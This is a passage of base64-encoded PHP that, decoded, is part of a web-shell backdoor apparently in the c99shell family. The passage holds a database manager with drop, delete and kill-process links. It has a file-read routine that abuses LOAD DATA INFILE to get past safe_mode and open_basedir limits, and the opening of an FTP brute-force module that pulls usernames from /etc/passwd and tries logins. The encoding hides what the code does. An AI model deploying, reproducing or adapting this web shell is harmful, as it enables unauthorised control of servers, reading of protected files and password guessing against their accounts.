ImdyZWVuXCI+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7CiAgICAgIGVjaG8gIjwvdHI+IjsK
ICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NP
QykpIHsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgJHcgPSAiIjsKICAgICAgICRpID0gMDsK
ICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1l
KCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicg
QU5EIjsgJGkrKzt9CiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcs
MCxzdHJsZW4oJHcpLTMpO30KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94
XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7CiAgICAgICAkaSA9
IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikKICAgICAgIHsKICAgICAgICAkdiA9
IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250
IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8
L3RkPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAg
ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5j
b2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4k
c3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90
YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWlt
ZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0
aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOwogICAgICAgZWNobyAiPGEgaHJlZj1c
IiIuJHNxbF9zdXJsLiJzcWxfdGJsX3g9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90
YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xl
LiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3Vy
bC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwi
MTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAg
ICBlY2hvICI8L3RyPiI7CiAgICAgIH0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7
CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxl
ZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIw
XCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwi
XCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwi
ZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7
PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAg
ICAgfQogICAgfQogICAgZWxzZSB7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRB
QkxFIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9z
bWFydGVycm9yKCk7fQogICAgIGVsc2UKICAgICB7CiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRo
b2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYg
Y2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JM
aWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5h
bWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwv
Yj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48
dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXpl
PC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsKICAgICAgJGkgPSAwOwogICAg
ICAkdHNpemUgPSAkdHJvd3MgPSAwOwogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fy
cmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkKICAgICAgewogICAgICAgJHRzaXplICs9ICRyb3db
IkRhdGFfbGVuZ3RoIl07CiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOwogICAgICAgJHNp
emUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7CiAgICAgICBlY2hvICI8dHI+IjsK
ICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtd
XCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOwogICAgICAgZWNobyAiPHRkPiZu
YnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1l
Il0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBl
Y2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3db
IlR5cGUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4i
PC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOwog
ICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8
YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgi
REVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4i
eD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIg
d2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNx
bF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIu
JHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9i
dXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3Jk
ZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2Vy
dCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmlt
Zz1zcWxfYnV0dG9uX2luc2VydFwiIGFsdD1cIkluc2VydFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9
XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PC90ZD4iOwogICAgICAgZWNobyAiPC90cj4i
OwogICAgICAgJGkrKzsKICAgICAgfQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwi
PiI7CiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPis8L2I+PC9jZW50ZXI+PC90ZD4iOwogICAg
ICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4i
OwogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7CiAgICAgIGVjaG8gIjx0
ZD4iLiRyb3dbMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsK
ICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxiPiIu
dmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7CiAg
ICAgIGVjaG8gIjwvdHI+IjsKICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3No
YWRlPjxwIGFsaWduPVwicmlnaHRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJv
d19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOwogICAgICBlY2hv
ICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hv
ICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOwogICAgICBlY2hvICI8
b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxv
cHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRp
b24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAi
PG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwog
ICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRp
b24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRh
YmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJz
dWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgIG15c3FsX2ZyZWVf
cmVzdWx0KCRyZXN1bHQpOwogICAgIH0KICAgIH0KICAgfQogICB9CiAgfQogIGVsc2UgewogICAk
YWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9j
ZXNzZXMiLCJnZXRmaWxlIik7CiAgIGlmIChpbl9hcnJheSgkc3FsX3gsJGFjdHMpKSB7Pz48dGFi
bGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUi
IGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyBEQjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hv
ICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+PGlu
cHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJuZXdkYiI+PGlucHV0IHR5cGU9
ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo
YXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3
ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48
aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBo
dG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9y
dCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+Jm5i
c3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdp
ZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhw
IGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3Fs
Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1
dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNw
ZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNx
bF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2Qp
OyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhw
IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygk
c3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXpl
PSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/
PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRk
IHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVp
Z2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIz
MCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQogICBpZiAoIWVtcHR5KCRz
cWxfeCkpIHsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIGlmICgkc3Fs
X3ggPT0gIm5ld2RiIikgewogICAgIGVjaG8gIjxiPiI7CiAgICAgaWYgKChteXNxbF9jcmVhdGVf
ZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIu
aHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1
Y2Nlc3MhPC9iPjxicj4iO30KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0
bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3Nt
YXJ0ZXJyb3IoKTt9CiAgICB9CiAgICBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7CiAg
ICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAg
ZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwog
ICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj0jMDAw
MDAwIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3Rk
Pjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2Zl
dGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4i
PC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT48L2Nl
bnRlcj4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRz
cWxfeCA9PSAic2VydmVydmFycyIpIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cg
VkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJp
YWJsZXM6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxs
UGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVy
PTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7CiAgICAg
d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNo
byAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQog
ICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAg
IH0KICAgIGlmICgkc3FsX3ggPT0gInByb2Nlc3NlcyIpIHsKICAgICBpZiAoIWVtcHR5KCRraWxs
KSkgewogICAgICAgJHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7CiAgICAgICAkcmVzdWx0ID0g
bXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOwogICAgICAgZWNobyAiPGI+UHJvY2VzcyAj
Ii4ka2lsbC4iIHdhcyBraWxsZWQuPC9iPiI7CiAgICAgfQogICAgICRyZXN1bHQgPSBteXNxbF9x
dWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7CiAgICAgZWNobyAiPGNlbnRlcj48
Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9
MCBjZWxsUGFkZGluZz0yIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+
SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxi
PkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0
ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48
L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQs
IE1ZU1FMX05VTSkpIHsgZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sx
XS4iPC90ZD48dGQ+Ii4kcm93WzJdLiI8L3RkPjx0ZD4iLiRyb3dbM10uIjwvdGQ+PHRkPiIuJHJv
d1s0XS4iPC90ZD48dGQ+Ii4kcm93WzVdLiI8L3RkPjx0ZD4iLiRyb3dbNl0uIjwvdGQ+PHRkPiIu
JHJvd1s3XS4iPC90ZD48dGQ+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1wcm9jZXNzZXMm
a2lsbD0iLiRyb3dbMF0uIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30KICAgICBlY2hv
ICI8L3RhYmxlPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICB9CiAgICBp
ZiAoJHNxbF94ID09ICJnZXRmaWxlIikKICAgIHsKICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJf
dG1wZGIiOwogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsKICAgICBpZiAo
ISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVj
dF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9CiAgICAgaWYgKCRzZWxlY3QpCiAg
ICAgewogICAgICAkY3JlYXRlZCA9IEZBTFNFOwogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRB
QkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNl
ZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRB
IElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9m
aWxlIik7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmls
ZTsiKTsKICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxl
IChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZm9y
ICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxf
ZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9CiAgICAgICAkZiA9ICIiOwogICAgICAgd2hpbGUgKCRy
b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2lu
ICgiXHJcbiIsJHJvdyk7fQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIi
LiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9CiAg
ICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5u
bDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KICAgICAgIG15c3FsX2ZyZWVfcmVz
dWx0KCRyZXN1bHQpOwogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7
CiAgICAgIH0KICAgICB9CiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOyAKICAgIH0KICAgfQog
IH0KfQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwppZiAoJHNxbF9zb2NrKSB7CiAgJGFmZmVj
dGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsKICBpZiAoKCFpc19udW1lcmlj
KCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9CiAgZWNobyAi
PHRyPjx0ZD48Y2VudGVyPjxiPkFmZmVjdGVkIHJvd3MgOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+
PC90ZD48L3RyPiI7Cn0KZWNobyAiPC90YWJsZT4iOwp9CmlmICgkeCA9PSAiZnRwcXVpY2ticnV0
ZSIpIHsKZWNobyAiPGNlbnRlcj48dGFibGU+PHRyPjx0ZCBjbGFzcz1iYXJoZWFkZXIgY29sc3Bh
bj0yPiI7CmVjaG8gIi46IEZ0cCBRdWljayBCcnV0ZSA6LjwvdGQ+PC90cj4iOwplY2hvICI8dHI+
PHRkPiI7CmlmICgkd2luKSB7ZWNobyAiQ291bGRuJ3QgcnVuIG9uIFdpbmRvd3MhIjt9CmVsc2Ug
ewogIGZ1bmN0aW9uIGNhZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4s
JHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkgewogICAgaWYgKCRmcWJfb25seXdpdGhzaCkgeyRU
UlVFID0gKCFpbl9hcnJheSgkc2gsYXJyYXkoIi9iaW4vRkFMU0UiLCIvc2Jpbi9ub2xvZ2luIikp
KTt9CiAgICBlbHNlIHskVFJVRSA9IFRSVUU7fQogICAgaWYgKCRUUlVFKSB7CiAgICAgICRzb2Nr
ID0gQGZ0cF9jb25uZWN0KCRob3N0LCRwb3J0LCR0aW1lb3V0KTsKICAgICAgaWYgKEBmdHBfbG9n
aW4oJHNvY2ssJGxvZ2luLCRwYXNzKSkgewogICAgICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8i
LiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25u
ZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3Jk
IFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsKICAgICAgICBvYl9mbHVzaCgpOwogICAgICAg
IHJldHVybiBUUlVFOwogICAgICB9CiAgICB9CiAgfQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsK
ICAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2Rw
ZXJwYWdlO30KICAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsKICAgIGlmICghJGZw
KSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQogICAg
ZWxzZSB7CiAgICAgIGlmICgkZnFiX2xvZ2dpbmcpIHsKICAgICAgICBpZiAoJGZxYl9sb2dmaWxl
KSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30KICAgICAgICBlbHNlIHsk
ZnFiX2xvZ2ZwID0gRkFMU0U7fQogICAgICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAo
Ii4kc2hfbmFtZS4iKSBzdGFydGVkIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcblxyXG4i
OwogICAgICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxz
dHJsZW4oJGZxYl9sb2cpKTt9CiAgICAgIH0KICAgICAgb2JfZmx1c2goKTsKICAgICAgJGkgPSAk
c3VjY2VzcyA9IDA7CiAgICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgICB3
aGlsZSghZmVvZigkZnApKSB7CiAgICAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLGZnZXRzKCRmcCwy
MDQ4KSk7CiAgICAgICAgaWYgKGNhZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJb
